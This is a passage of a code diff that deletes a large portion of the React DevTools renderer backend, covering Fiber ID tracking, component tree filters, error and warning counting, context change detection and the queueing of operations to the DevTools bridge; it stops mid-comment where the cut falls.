-        fibersWithChangedErrorOrWarningCounts.add(fiber);
-        flushPendingEvents();
-
-        updateMostRecentlyInspectedElementIfNecessary(fiberID);
-      } else {
-        fibersWithChangedErrorOrWarningCounts.delete(fiber);
-      }
-    }
-  }
-
-  function clearErrorsForFiberID(fiberID: number) {
-    clearMessageCountHelper(
-      fiberID,
-      pendingFiberToErrorsMap,
-      fiberIDToErrorsMap,
-    );
-  }
-
-  function clearWarningsForFiberID(fiberID: number) {
-    clearMessageCountHelper(
-      fiberID,
-      pendingFiberToWarningsMap,
-      fiberIDToWarningsMap,
-    );
-  }
-
-  function updateMostRecentlyInspectedElementIfNecessary(
-    fiberID: number,
-  ): void {
-    if (
-      mostRecentlyInspectedElement !== null &&
-      mostRecentlyInspectedElement.id === fiberID
-    ) {
-      hasElementUpdatedSinceLastInspected = true;
-    }
-  }
-
-  // Called when an error or warning is logged during render, commit, or passive (including unmount functions).
-  function onErrorOrWarning(
-    fiber: Fiber,
-    type: 'error' | 'warn',
-    args: $ReadOnlyArray<any>,
-  ): void {
-    if (type === 'error') {
-      const maybeID = getFiberIDUnsafe(fiber);
-      // if this is an error simulated by us to trigger error boundary, ignore
-      if (maybeID != null && forceErrorForFiberIDs.get(maybeID) === true) {
-        return;
-      }
-    }
-
-    // We can't really use this message as a unique key, since we can't distinguish
-    // different objects in this implementation. We have to delegate displaying of the objects
-    // to the environment, the browser console, for example, so this is why this should be kept
-    // as an array of arguments, instead of the plain string.
-    // [Warning: %o, {...}] and [Warning: %o, {...}] will be considered as the same message,
-    // even if objects are different
-    const message = formatConsoleArgumentsToSingleString(...args);
-    if (__DEBUG__) {
-      debug('onErrorOrWarning', fiber, null, `${type}: "${message}"`);
-    }
-
-    // Mark this Fiber as needed its warning/error count updated during the next flush.
-    fibersWithChangedErrorOrWarningCounts.add(fiber);
-
-    // Track the warning/error for later.
-    const fiberMap =
-      type === 'error' ? pendingFiberToErrorsMap : pendingFiberToWarningsMap;
-    const messageMap = fiberMap.get(fiber);
-    if (messageMap != null) {
-      const count = messageMap.get(message) || 0;
-      messageMap.set(message, count + 1);
-    } else {
-      fiberMap.set(fiber, new Map([[message, 1]]));
-    }
-
-    // Passive effects may trigger errors or warnings too;
-    // In this case, we should wait until the rest of the passive effects have run,
-    // but we shouldn't wait until the next commit because that might be a long time.
-    // This would also cause "tearing" between an inspected Component and the tree view.
-    // Then again we don't want to flush too soon because this could be an error during async rendering.
-    // Use a debounce technique to ensure that we'll eventually flush.
-    flushPendingErrorsAndWarningsAfterDelay();
-  }
-
-  // Patching the console enables DevTools to do a few useful things:
-  // * Append component stacks to warnings and error messages
-  // * Disable logging during re-renders to inspect hooks (see inspectHooksOfFiber)
-  registerRendererWithConsole(renderer, onErrorOrWarning);
-
-  // The renderer interface can't read these preferences directly,
-  // because it is stored in localStorage within the context of the extension.
-  // It relies on the extension to pass the preference through via the global.
-  patchConsoleUsingWindowValues();
-
-  const debug = (
-    name: string,
-    fiber: Fiber,
-    parentFiber: ?Fiber,
-    extraString: string = '',
-  ): void => {
-    if (__DEBUG__) {
-      const displayName =
-        fiber.tag + ':' + (getDisplayNameForFiber(fiber) || 'null');
-
-      const maybeID = getFiberIDUnsafe(fiber) || '<no id>';
-      const parentDisplayName = parentFiber
-        ? parentFiber.tag +
-          ':' +
-          (getDisplayNameForFiber(parentFiber) || 'null')
-        : '';
-      const maybeParentID = parentFiber
-        ? getFiberIDUnsafe(parentFiber) || '<no-id>'
-        : '';
-
-      console.groupCollapsed(
-        `[renderer] %c${name} %c${displayName} (${maybeID}) %c${
-          parentFiber ? `${parentDisplayName} (${maybeParentID})` : ''
-        } %c${extraString}`,
-        'color: red; font-weight: bold;',
-        'color: blue;',
-        'color: purple;',
-        'color: black;',
-      );
-      console.log(new Error().stack.split('\n').slice(1).join('\n'));
-      console.groupEnd();
-    }
-  };
-
-  // Configurable Components tree filters.
-  const hideElementsWithDisplayNames: Set<RegExp> = new Set();
-  const hideElementsWithPaths: Set<RegExp> = new Set();
-  const hideElementsWithTypes: Set<ElementType> = new Set();
-
-  // Highlight updates
-  let traceUpdatesEnabled: boolean = false;
-  const traceUpdatesForNodes: Set<NativeType> = new Set();
-
-  function applyComponentFilters(componentFilters: Array<ComponentFilter>) {
-    hideElementsWithTypes.clear();
-    hideElementsWithDisplayNames.clear();
-    hideElementsWithPaths.clear();
-
-    componentFilters.forEach(componentFilter => {
-      if (!componentFilter.isEnabled) {
-        return;
-      }
-
-      switch (componentFilter.type) {
-        case ComponentFilterDisplayName:
-          if (componentFilter.isValid && componentFilter.value !== '') {
-            hideElementsWithDisplayNames.add(
-              new RegExp(componentFilter.value, 'i'),
-            );
-          }
-          break;
-        case ComponentFilterElementType:
-          hideElementsWithTypes.add(componentFilter.value);
-          break;
-        case ComponentFilterLocation:
-          if (componentFilter.isValid && componentFilter.value !== '') {
-            hideElementsWithPaths.add(new RegExp(componentFilter.value, 'i'));
-          }
-          break;
-        case ComponentFilterHOC:
-          hideElementsWithDisplayNames.add(new RegExp('\\('));
-          break;
-        default:
-          console.warn(
-            `Invalid component filter type "${componentFilter.type}"`,
-          );
-          break;
-      }
-    });
-  }
-
-  // The renderer interface can't read saved component filters directly,
-  // because they are stored in localStorage within the context of the extension.
-  // Instead it relies on the extension to pass filters through.
-  if (window.__REACT_DEVTOOLS_COMPONENT_FILTERS__ != null) {
-    const componentFiltersWithoutLocationBasedOnes =
-      filterOutLocationComponentFilters(
-        window.__REACT_DEVTOOLS_COMPONENT_FILTERS__,
-      );
-    applyComponentFilters(componentFiltersWithoutLocationBasedOnes);
-  } else {
-    // Unfortunately this feature is not expected to work for React Native for now.
-    // It would be annoying for us to spam YellowBox warnings with unactionable stuff,
-    // so for now just skip this message...
-    //console.warn('⚛️ DevTools: Could not locate saved component filters');
-
-    // Fallback to assuming the default filters in this case.
-    applyComponentFilters(getDefaultComponentFilters());
-  }
-
-  // If necessary, we can revisit optimizing this operation.
-  // For example, we could add a new recursive unmount tree operation.
-  // The unmount operations are already significantly smaller than mount operations though.
-  // This is something to keep in mind for later.
-  function updateComponentFilters(componentFilters: Array<ComponentFilter>) {
-    if (isProfiling) {
-      // Re-mounting a tree while profiling is in progress might break a lot of assumptions.
-      // If necessary, we could support this- but it doesn't seem like a necessary use case.
-      throw Error('Cannot modify filter preferences while profiling');
-    }
-
-    // Recursively unmount all roots.
-    hook.getFiberRoots(rendererID).forEach(root => {
-      currentRootID = getOrGenerateFiberID(root.current);
-      // The TREE_OPERATION_REMOVE_ROOT operation serves two purposes:
-      // 1. It avoids sending unnecessary bridge traffic to clear a root.
-      // 2. It preserves Fiber IDs when remounting (below) which in turn ID to error/warning mapping.
-      pushOperation(TREE_OPERATION_REMOVE_ROOT);
-      flushPendingEvents(root);
-      currentRootID = -1;
-    });
-
-    applyComponentFilters(componentFilters);
-
-    // Reset pseudo counters so that new path selections will be persisted.
-    rootDisplayNameCounter.clear();
-
-    // Recursively re-mount all roots with new filter criteria applied.
-    hook.getFiberRoots(rendererID).forEach(root => {
-      currentRootID = getOrGenerateFiberID(root.current);
-      setRootPseudoKey(currentRootID, root.current);
-      mountFiberRecursively(root.current, null, false, false);
-      flushPendingEvents(root);
-      currentRootID = -1;
-    });
-
-    // Also re-evaluate all error and warning counts given the new filters.
-    reevaluateErrorsAndWarnings();
-    flushPendingEvents();
-  }
-
-  // NOTICE Keep in sync with get*ForFiber methods
-  function shouldFilterFiber(fiber: Fiber): boolean {
-    const {tag, type, key} = fiber;
-
-    switch (tag) {
-      case DehydratedSuspenseComponent:
-        // TODO: ideally we would show dehydrated Suspense immediately.
-        // However, it has some special behavior (like disconnecting
-        // an alternate and turning into real Suspense) which breaks DevTools.
-        // For now, ignore it, and only show it once it gets hydrated.
-        // https://github.com/bvaughn/react-devtools-experimental/issues/197
-        return true;
-      case HostPortal:
-      case HostText:
-      case LegacyHiddenComponent:
-      case OffscreenComponent:
-      case Throw:
-        return true;
-      case HostRoot:
-        // It is never valid to filter the root element.
-        return false;
-      case Fragment:
-        return key === null;
-      default:
-        const typeSymbol = getTypeSymbol(type);
-
-        switch (typeSymbol) {
-          case CONCURRENT_MODE_NUMBER:
-          case CONCURRENT_MODE_SYMBOL_STRING:
-          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
-          case STRICT_MODE_NUMBER:
-          case STRICT_MODE_SYMBOL_STRING:
-            return true;
-          default:
-            break;
-        }
-    }
-
-    const elementType = getElementTypeForFiber(fiber);
-    if (hideElementsWithTypes.has(elementType)) {
-      return true;
-    }
-
-    if (hideElementsWithDisplayNames.size > 0) {
-      const displayName = getDisplayNameForFiber(fiber);
-      if (displayName != null) {
-        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-        for (const displayNameRegExp of hideElementsWithDisplayNames) {
-          if (displayNameRegExp.test(displayName)) {
-            return true;
-          }
-        }
-      }
-    }
-
-    /* DISABLED: https://github.com/facebook/react/pull/28417
-    if (hideElementsWithPaths.size > 0) {
-      const source = getSourceForFiber(fiber);
-
-      if (source != null) {
-        const {fileName} = source;
-        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-        for (const pathRegExp of hideElementsWithPaths) {
-          if (pathRegExp.test(fileName)) {
-            return true;
-          }
-        }
-      }
-    }
-    */
-
-    return false;
-  }
-
-  // NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods
-  function getElementTypeForFiber(fiber: Fiber): ElementType {
-    const {type, tag} = fiber;
-
-    switch (tag) {
-      case ClassComponent:
-      case IncompleteClassComponent:
-        return ElementTypeClass;
-      case IncompleteFunctionComponent:
-      case FunctionComponent:
-      case IndeterminateComponent:
-        return ElementTypeFunction;
-      case ForwardRef:
-        return ElementTypeForwardRef;
-      case HostRoot:
-        return ElementTypeRoot;
-      case HostComponent:
-      case HostHoistable:
-      case HostSingleton:
-        return ElementTypeHostComponent;
-      case HostPortal:
-      case HostText:
-      case Fragment:
-        return ElementTypeOtherOrUnknown;
-      case MemoComponent:
-      case SimpleMemoComponent:
-        return ElementTypeMemo;
-      case SuspenseComponent:
-        return ElementTypeSuspense;
-      case SuspenseListComponent:
-        return ElementTypeSuspenseList;
-      case TracingMarkerComponent:
-        return ElementTypeTracingMarker;
-      default:
-        const typeSymbol = getTypeSymbol(type);
-
-        switch (typeSymbol) {
-          case CONCURRENT_MODE_NUMBER:
-          case CONCURRENT_MODE_SYMBOL_STRING:
-          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
-            return ElementTypeOtherOrUnknown;
-          case PROVIDER_NUMBER:
-          case PROVIDER_SYMBOL_STRING:
-            return ElementTypeContext;
-          case CONTEXT_NUMBER:
-          case CONTEXT_SYMBOL_STRING:
-            return ElementTypeContext;
-          case STRICT_MODE_NUMBER:
-          case STRICT_MODE_SYMBOL_STRING:
-            return ElementTypeOtherOrUnknown;
-          case PROFILER_NUMBER:
-          case PROFILER_SYMBOL_STRING:
-            return ElementTypeProfiler;
-          default:
-            return ElementTypeOtherOrUnknown;
-        }
-    }
-  }
-
-  // When profiling is supported, we store the latest tree base durations for each Fiber.
-  // This is so that we can quickly capture a snapshot of those values if profiling starts.
-  // If we didn't store these values, we'd have to crawl the tree when profiling started,
-  // and use a slow path to find each of the current Fibers.
-  const idToTreeBaseDurationMap: Map<number, number> = new Map();
-
-  // When profiling is supported, we store the latest tree base durations for each Fiber.
-  // This map enables us to filter these times by root when sending them to the frontend.
-  const idToRootMap: Map<number, number> = new Map();
-
-  // When a mount or update is in progress, this value tracks the root that is being operated on.
-  let currentRootID: number = -1;
-
-  // Returns the unique ID for a Fiber or generates and caches a new one if the Fiber hasn't been seen before.
-  // Once this method has been called for a Fiber, untrackFiberID() should always be called later to avoid leaking.
-  function getOrGenerateFiberID(fiber: Fiber): number {
-    let id = null;
-    if (fiberToIDMap.has(fiber)) {
-      id = fiberToIDMap.get(fiber);
-    } else {
-      const {alternate} = fiber;
-      if (alternate !== null && fiberToIDMap.has(alternate)) {
-        id = fiberToIDMap.get(alternate);
-      }
-    }
-
-    let didGenerateID = false;
-    if (id === null) {
-      didGenerateID = true;
-      id = getUID();
-    }
-
-    // This refinement is for Flow purposes only.
-    const refinedID = ((id: any): number);
-
-    // Make sure we're tracking this Fiber
-    // e.g. if it just mounted or an error was logged during initial render.
-    if (!fiberToIDMap.has(fiber)) {
-      fiberToIDMap.set(fiber, refinedID);
-      idToArbitraryFiberMap.set(refinedID, fiber);
-    }
-
-    // Also make sure we're tracking its alternate,
-    // e.g. in case this is the first update after mount.
-    const {alternate} = fiber;
-    if (alternate !== null) {
-      if (!fiberToIDMap.has(alternate)) {
-        fiberToIDMap.set(alternate, refinedID);
-      }
-    }
-
-    if (__DEBUG__) {
-      if (didGenerateID) {
-        debug(
-          'getOrGenerateFiberID()',
-          fiber,
-          fiber.return,
-          'Generated a new UID',
-        );
-      }
-    }
-
-    return refinedID;
-  }
-
-  // Returns an ID if one has already been generated for the Fiber or throws.
-  function getFiberIDThrows(fiber: Fiber): number {
-    const maybeID = getFiberIDUnsafe(fiber);
-    if (maybeID !== null) {
-      return maybeID;
-    }
-    throw Error(
-      `Could not find ID for Fiber "${getDisplayNameForFiber(fiber) || ''}"`,
-    );
-  }
-
-  // Returns an ID if one has already been generated for the Fiber or null if one has not been generated.
-  // Use this method while e.g. logging to avoid over-retaining Fibers.
-  function getFiberIDUnsafe(fiber: Fiber): number | null {
-    if (fiberToIDMap.has(fiber)) {
-      return ((fiberToIDMap.get(fiber): any): number);
-    } else {
-      const {alternate} = fiber;
-      if (alternate !== null && fiberToIDMap.has(alternate)) {
-        return ((fiberToIDMap.get(alternate): any): number);
-      }
-    }
-    return null;
-  }
-
-  // Removes a Fiber (and its alternate) from the Maps used to track their id.
-  // This method should always be called when a Fiber is unmounting.
-  function untrackFiberID(fiber: Fiber) {
-    if (__DEBUG__) {
-      debug('untrackFiberID()', fiber, fiber.return, 'schedule after delay');
-    }
-
-    // Untrack Fibers after a slight delay in order to support a Fast Refresh edge case:
-    // 1. Component type is updated and Fast Refresh schedules an update+remount.
-    // 2. flushPendingErrorsAndWarningsAfterDelay() runs, sees the old Fiber is no longer mounted
-    //    (it's been disconnected by Fast Refresh), and calls untrackFiberID() to clear it from the Map.
-    // 3. React flushes pending passive effects before it runs the next render,
-    //    which logs an error or warning, which causes a new ID to be generated for this Fiber.
-    // 4. DevTools now tries to unmount the old Component with the new ID.
-    //
-    // The underlying problem here is the premature clearing of the Fiber ID,
-    // but DevTools has no way to detect that a given Fiber has been scheduled for Fast Refresh.
-    // (The "_debugNeedsRemount" flag won't necessarily be set.)
-    //
-    // The best we can do is to delay untracking by a small amount,
-    // and give React time to process the Fast Refresh delay.
-
-    untrackFibersSet.add(fiber);
-
-    // React may detach alternate pointers during unmount;
-    // Since our untracking code is async, we should explicily track the pending alternate here as well.
-    const alternate = fiber.alternate;
-    if (alternate !== null) {
-      untrackFibersSet.add(alternate);
-    }
-
-    if (untrackFibersTimeoutID === null) {
-      untrackFibersTimeoutID = setTimeout(untrackFibers, 1000);
-    }
-  }
-
-  const untrackFibersSet: Set<Fiber> = new Set();
-  let untrackFibersTimeoutID: TimeoutID | null = null;
-
-  function untrackFibers() {
-    if (untrackFibersTimeoutID !== null) {
-      clearTimeout(untrackFibersTimeoutID);
-      untrackFibersTimeoutID = null;
-    }
-
-    untrackFibersSet.forEach(fiber => {
-      const fiberID = getFiberIDUnsafe(fiber);
-      if (fiberID !== null) {
-        idToArbitraryFiberMap.delete(fiberID);
-
-        // Also clear any errors/warnings associated with this fiber.
-        clearErrorsForFiberID(fiberID);
-        clearWarningsForFiberID(fiberID);
-      }
-
-      fiberToIDMap.delete(fiber);
-      fiberToComponentStackMap.delete(fiber);
-
-      const {alternate} = fiber;
-      if (alternate !== null) {
-        fiberToIDMap.delete(alternate);
-        fiberToComponentStackMap.delete(alternate);
-      }
-
-      if (forceErrorForFiberIDs.has(fiberID)) {
-        forceErrorForFiberIDs.delete(fiberID);
-        if (forceErrorForFiberIDs.size === 0 && setErrorHandler != null) {
-          setErrorHandler(shouldErrorFiberAlwaysNull);
-        }
-      }
-    });
-    untrackFibersSet.clear();
-  }
-
-  function getChangeDescription(
-    prevFiber: Fiber | null,
-    nextFiber: Fiber,
-  ): ChangeDescription | null {
-    switch (getElementTypeForFiber(nextFiber)) {
-      case ElementTypeClass:
-      case ElementTypeFunction:
-      case ElementTypeMemo:
-      case ElementTypeForwardRef:
-        if (prevFiber === null) {
-          return {
-            context: null,
-            didHooksChange: false,
-            isFirstMount: true,
-            props: null,
-            state: null,
-          };
-        } else {
-          const data: ChangeDescription = {
-            context: getContextChangedKeys(nextFiber),
-            didHooksChange: false,
-            isFirstMount: false,
-            props: getChangedKeys(
-              prevFiber.memoizedProps,
-              nextFiber.memoizedProps,
-            ),
-            state: getChangedKeys(
-              prevFiber.memoizedState,
-              nextFiber.memoizedState,
-            ),
-          };
-
-          // Only traverse the hooks list once, depending on what info we're returning.
-          const indices = getChangedHooksIndices(
-            prevFiber.memoizedState,
-            nextFiber.memoizedState,
-          );
-          data.hooks = indices;
-          data.didHooksChange = indices !== null && indices.length > 0;
-
-          return data;
-        }
-      default:
-        return null;
-    }
-  }
-
-  function updateContextsForFiber(fiber: Fiber) {
-    switch (getElementTypeForFiber(fiber)) {
-      case ElementTypeClass:
-      case ElementTypeForwardRef:
-      case ElementTypeFunction:
-      case ElementTypeMemo:
-        if (idToContextsMap !== null) {
-          const id = getFiberIDThrows(fiber);
-          const contexts = getContextsForFiber(fiber);
-          if (contexts !== null) {
-            // $FlowFixMe[incompatible-use] found when upgrading Flow
-            idToContextsMap.set(id, contexts);
-          }
-        }
-        break;
-      default:
-        break;
-    }
-  }
-
-  // Differentiates between a null context value and no context.
-  const NO_CONTEXT = {};
-
-  function getContextsForFiber(fiber: Fiber): [Object, any] | null {
-    let legacyContext = NO_CONTEXT;
-    let modernContext = NO_CONTEXT;
-
-    switch (getElementTypeForFiber(fiber)) {
-      case ElementTypeClass:
-        const instance = fiber.stateNode;
-        if (instance != null) {
-          if (
-            instance.constructor &&
-            instance.constructor.contextType != null
-          ) {
-            modernContext = instance.context;
-          } else {
-            legacyContext = instance.context;
-            if (legacyContext && Object.keys(legacyContext).length === 0) {
-              legacyContext = NO_CONTEXT;
-            }
-          }
-        }
-        return [legacyContext, modernContext];
-      case ElementTypeForwardRef:
-      case ElementTypeFunction:
-      case ElementTypeMemo:
-        const dependencies = fiber.dependencies;
-        if (dependencies && dependencies.firstContext) {
-          modernContext = dependencies.firstContext;
-        }
-
-        return [legacyContext, modernContext];
-      default:
-        return null;
-    }
-  }
-
-  // Record all contexts at the time profiling is started.
-  // Fibers only store the current context value,
-  // so we need to track them separately in order to determine changed keys.
-  function crawlToInitializeContextsMap(fiber: Fiber) {
-    const id = getFiberIDUnsafe(fiber);
-
-    // Not all Fibers in the subtree have mounted yet.
-    // For example, Offscreen (hidden) or Suspense (suspended) subtrees won't yet be tracked.
-    // We can safely skip these subtrees.
-    if (id !== null) {
-      updateContextsForFiber(fiber);
-
-      let current = fiber.child;
-      while (current !== null) {
-        crawlToInitializeContextsMap(current);
-        current = current.sibling;
-      }
-    }
-  }
-
-  function getContextChangedKeys(fiber: Fiber): null | boolean | Array<string> {
-    if (idToContextsMap !== null) {
-      const id = getFiberIDThrows(fiber);
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      const prevContexts = idToContextsMap.has(id)
-        ? // $FlowFixMe[incompatible-use] found when upgrading Flow
-          idToContextsMap.get(id)
-        : null;
-      const nextContexts = getContextsForFiber(fiber);
-
-      if (prevContexts == null || nextContexts == null) {
-        return null;
-      }
-
-      const [prevLegacyContext, prevModernContext] = prevContexts;
-      const [nextLegacyContext, nextModernContext] = nextContexts;
-
-      switch (getElementTypeForFiber(fiber)) {
-        case ElementTypeClass:
-          if (prevContexts && nextContexts) {
-            if (nextLegacyContext !== NO_CONTEXT) {
-              return getChangedKeys(prevLegacyContext, nextLegacyContext);
-            } else if (nextModernContext !== NO_CONTEXT) {
-              return prevModernContext !== nextModernContext;
-            }
-          }
-          break;
-        case ElementTypeForwardRef:
-        case ElementTypeFunction:
-        case ElementTypeMemo:
-          if (nextModernContext !== NO_CONTEXT) {
-            let prevContext = prevModernContext;
-            let nextContext = nextModernContext;
-
-            while (prevContext && nextContext) {
-              // Note this only works for versions of React that support this key (e.v. 18+)
-              // For older versions, there's no good way to read the current context value after render has completed.
-              // This is because React maintains a stack of context values during render,
-              // but by the time DevTools is called, render has finished and the stack is empty.
-              if (!is(prevContext.memoizedValue, nextContext.memoizedValue)) {
-                return true;
-              }
-
-              prevContext = prevContext.next;
-              nextContext = nextContext.next;
-            }
-
-            return false;
-          }
-          break;
-        default:
-          break;
-      }
-    }
-    return null;
-  }
-
-  function isHookThatCanScheduleUpdate(hookObject: any) {
-    const queue = hookObject.queue;
-    if (!queue) {
-      return false;
-    }
-
-    const boundHasOwnProperty = hasOwnProperty.bind(queue);
-
-    // Detect the shape of useState() / useReducer() / useTransition()
-    // using the attributes that are unique to these hooks
-    // but also stable (e.g. not tied to current Lanes implementation)
-    // We don't check for dispatch property, because useTransition doesn't have it
-    if (boundHasOwnProperty('pending')) {
-      return true;
-    }
-
-    // Detect useSyncExternalStore()
-    return (
-      boundHasOwnProperty('value') &&
-      boundHasOwnProperty('getSnapshot') &&
-      typeof queue.getSnapshot === 'function'
-    );
-  }
-
-  function didStatefulHookChange(prev: any, next: any): boolean {
-    const prevMemoizedState = prev.memoizedState;
-    const nextMemoizedState = next.memoizedState;
-
-    if (isHookThatCanScheduleUpdate(prev)) {
-      return prevMemoizedState !== nextMemoizedState;
-    }
-
-    return false;
-  }
-
-  function getChangedHooksIndices(prev: any, next: any): null | Array<number> {
-    if (prev == null || next == null) {
-      return null;
-    }
-
-    const indices = [];
-    let index = 0;
-    if (
-      next.hasOwnProperty('baseState') &&
-      next.hasOwnProperty('memoizedState') &&
-      next.hasOwnProperty('next') &&
-      next.hasOwnProperty('queue')
-    ) {
-      while (next !== null) {
-        if (didStatefulHookChange(prev, next)) {
-          indices.push(index);
-        }
-        next = next.next;
-        prev = prev.next;
-        index++;
-      }
-    }
-
-    return indices;
-  }
-
-  function getChangedKeys(prev: any, next: any): null | Array<string> {
-    if (prev == null || next == null) {
-      return null;
-    }
-
-    // We can't report anything meaningful for hooks changes.
-    if (
-      next.hasOwnProperty('baseState') &&
-      next.hasOwnProperty('memoizedState') &&
-      next.hasOwnProperty('next') &&
-      next.hasOwnProperty('queue')
-    ) {
-      return null;
-    }
-
-    const keys = new Set([...Object.keys(prev), ...Object.keys(next)]);
-    const changedKeys = [];
-    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-    for (const key of keys) {
-      if (prev[key] !== next[key]) {
-        changedKeys.push(key);
-      }
-    }
-
-    return changedKeys;
-  }
-
-  // eslint-disable-next-line no-unused-vars
-  function didFiberRender(prevFiber: Fiber, nextFiber: Fiber): boolean {
-    switch (nextFiber.tag) {
-      case ClassComponent:
-      case FunctionComponent:
-      case ContextConsumer:
-      case MemoComponent:
-      case SimpleMemoComponent:
-      case ForwardRef:
-        // For types that execute user code, we check PerformedWork effect.
-        // We don't reflect bailouts (either referential or sCU) in DevTools.
-        // TODO: This flag is a leaked implementation detail. Once we start
-        // releasing DevTools in lockstep with React, we should import a
-        // function from the reconciler instead.
-        const PerformedWork = 0b000000000000000000000000001;
-        return (getFiberFlags(nextFiber) & PerformedWork) === PerformedWork;
-      // Note: ContextConsumer only gets PerformedWork effect in 16.3.3+
-      // so it won't get highlighted with React 16.3.0 to 16.3.2.
-      default:
-        // For host components and other types, we compare inputs
-        // to determine whether something is an update.
-        return (
-          prevFiber.memoizedProps !== nextFiber.memoizedProps ||
-          prevFiber.memoizedState !== nextFiber.memoizedState ||
-          prevFiber.ref !== nextFiber.ref
-        );
-    }
-  }
-
-  type OperationsArray = Array<number>;
-
-  type StringTableEntry = {
-    encodedString: Array<number>,
-    id: number,
-  };
-
-  const pendingOperations: OperationsArray = [];
-  const pendingRealUnmountedIDs: Array<number> = [];
-  const pendingSimulatedUnmountedIDs: Array<number> = [];
-  let pendingOperationsQueue: Array<OperationsArray> | null = [];
-  const pendingStringTable: Map<string, StringTableEntry> = new Map();
-  let pendingStringTableLength: number = 0;
-  let pendingUnmountedRootID: number | null = null;
-
-  function pushOperation(op: number): void {
-    if (__DEV__) {
-      if (!Number.isInteger(op)) {
-        console.error(
-          'pushOperation() was called but the value is not an integer.',
-          op,
-        );
-      }
-    }
-    pendingOperations.push(op);
-  }
-
-  function shouldBailoutWithPendingOperations() {
-    if (isProfiling) {
-      if (
-        currentCommitProfilingMetadata != null &&
-        currentCommitProfilingMetadata.durations.length > 0
-      ) {
-        return false;
-      }
-    }
-
-    return (
-      pendingOperations.length === 0 &&
-      pendingRealUnmountedIDs.length === 0 &&
-      pendingSimulatedUnmountedIDs.length === 0 &&
-      pendingUnmountedRootID === null
-    );
-  }
-
-  function flushOrQueueOperations(operations: OperationsArray): void {
-    if (shouldBailoutWithPendingOperations()) {
-      return;
-    }
-
-    if (pendingOperationsQueue !== null) {
-      pendingOperationsQueue.push(operations);
-    } else {
-      hook.emit('operations', operations);
-    }
-  }
-
-  let flushPendingErrorsAndWarningsAfterDelayTimeoutID: null | TimeoutID = null;
-
-  function clearPendingErrorsAndWarningsAfterDelay() {
-    if (flushPendingErrorsAndWarningsAfterDelayTimeoutID !== null) {
-      clearTimeout(flushPendingErrorsAndWarningsAfterDelayTimeoutID);
-      flushPendingErrorsAndWarningsAfterDelayTimeoutID = null;
-    }
-  }
-
-  function flushPendingErrorsAndWarningsAfterDelay() {
-    clearPendingErrorsAndWarningsAfterDelay();
-
-    flushPendingErrorsAndWarningsAfterDelayTimeoutID = setTimeout(() => {
-      flushPendingErrorsAndWarningsAfterDelayTimeoutID = null;
-
-      if (pendingOperations.length > 0) {
-        // On the off chance that something else has pushed pending operations,
-        // we should bail on warnings; it's probably not safe to push midway.
-        return;
-      }
-
-      recordPendingErrorsAndWarnings();
-
-      if (shouldBailoutWithPendingOperations()) {
-        // No warnings or errors to flush; we can bail out early here too.
-        return;
-      }
-
-      // We can create a smaller operations array than flushPendingEvents()
-      // because we only need to flush warning and error counts.
-      // Only a few pieces of fixed information are required up front.
-      const operations: OperationsArray = new Array(
-        3 + pendingOperations.length,
-      );
-      operations[0] = rendererID;
-      operations[1] = currentRootID;
-      operations[2] = 0; // String table size
-      for (let j = 0; j < pendingOperations.length; j++) {
-        operations[3 + j] = pendingOperations[j];
-      }
-
-      flushOrQueueOperations(operations);
-
-      pendingOperations.length = 0;
-    }, 1000);
-  }
-
-  function reevaluateErrorsAndWarnings() {
-    fibersWithChangedErrorOrWarningCounts.clear();
-    fiberIDToErrorsMap.forEach((countMap, fiberID) => {
-      const fiber = idToArbitraryFiberMap.get(fiberID);
-      if (fiber != null) {
-        fibersWithChangedErrorOrWarningCounts.add(fiber);
-      }
-    });
-    fiberIDToWarningsMap.forEach((countMap, fiberID) => {
-      const fiber = idToArbitraryFiberMap.get(fiberID);
-      if (fiber != null) {
-        fibersWithChangedErrorOrWarningCounts.add(fiber);
-      }
-    });
-    recordPendingErrorsAndWarnings();
-  }
-
-  function mergeMapsAndGetCountHelper(
-    fiber: Fiber,
-    fiberID: number,
-    pendingFiberToMessageCountMap: Map<Fiber, Map<string, number>>,
-    fiberIDToMessageCountMap: Map<number, Map<string, number>>,
-  ): number {
-    let newCount = 0;
-
-    let messageCountMap = fiberIDToMessageCountMap.get(fiberID);
-
-    const pendingMessageCountMap = pendingFiberToMessageCountMap.get(fiber);
-    if (pendingMessageCountMap != null) {
-      if (messageCountMap == null) {
-        messageCountMap = pendingMessageCountMap;
-
-        fiberIDToMessageCountMap.set(fiberID, pendingMessageCountMap);
-      } else {
-        // This Flow refinement should not be necessary and yet...
-        const refinedMessageCountMap = ((messageCountMap: any): Map<
-          string,
-          number,
-        >);
-
-        pendingMessageCountMap.forEach((pendingCount, message) => {
-          const previousCount = refinedMessageCountMap.get(message) || 0;
-          refinedMessageCountMap.set(message, previousCount + pendingCount);
-        });
-      }
-    }
-
-    if (!shouldFilterFiber(fiber)) {
-      if (messageCountMap != null) {
-        messageCountMap.forEach(count => {
-          newCount += count;
-        });
-      }
-    }
-
-    pendingFiberToMessageCountMap.delete(fiber);
-
-    return newCount;
-  }
-
-  function recordPendingErrorsAndWarnings() {
-    clearPendingErrorsAndWarningsAfterDelay();
-
-    fibersWithChangedErrorOrWarningCounts.forEach(fiber => {
-      const fiberID = getFiberIDUnsafe(fiber);
-      if (fiberID === null) {
-        // Don't send updates for Fibers that didn't mount due to e.g. Suspense or an error boundary.
-      } else {
-        const errorCount = mergeMapsAndGetCountHelper(
-          fiber,
-          fiberID,
-          pendingFiberToErrorsMap,
-          fiberIDToErrorsMap,
-        );
-        const warningCount = mergeMapsAndGetCountHelper(
-          fiber,
-          fiberID,
-          pendingFiberToWarningsMap,
-          fiberIDToWarningsMap,
-        );
-
-        pushOperation(TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS);
-        pushOperation(fiberID);
-        pushOperation(errorCount);
-        pushOperation(warningCount);
-      }
-
-      // Always clean up so that we don't leak.
-      pendingFiberToErrorsMap.delete(fiber);
-      pendingFiberToWarningsMap.delete(fiber);
-    });
-    fibersWithChangedErrorOrWarningCounts.clear();
-  }
-
-  function flushPendingEvents(root: Object): void {
-    // Add any pending errors and warnings to the operations array.
-    // We do this just before flushing, so we can ignore errors for no-longer-mounted Fibers.
-    recordPendingErrorsAndWarnings();
-
-    if (shouldBailoutWithPendingOperations()) {
-      // If we aren't profiling, we can just bail out here.
-      // No use sending an empty update over the bridge.
-      //
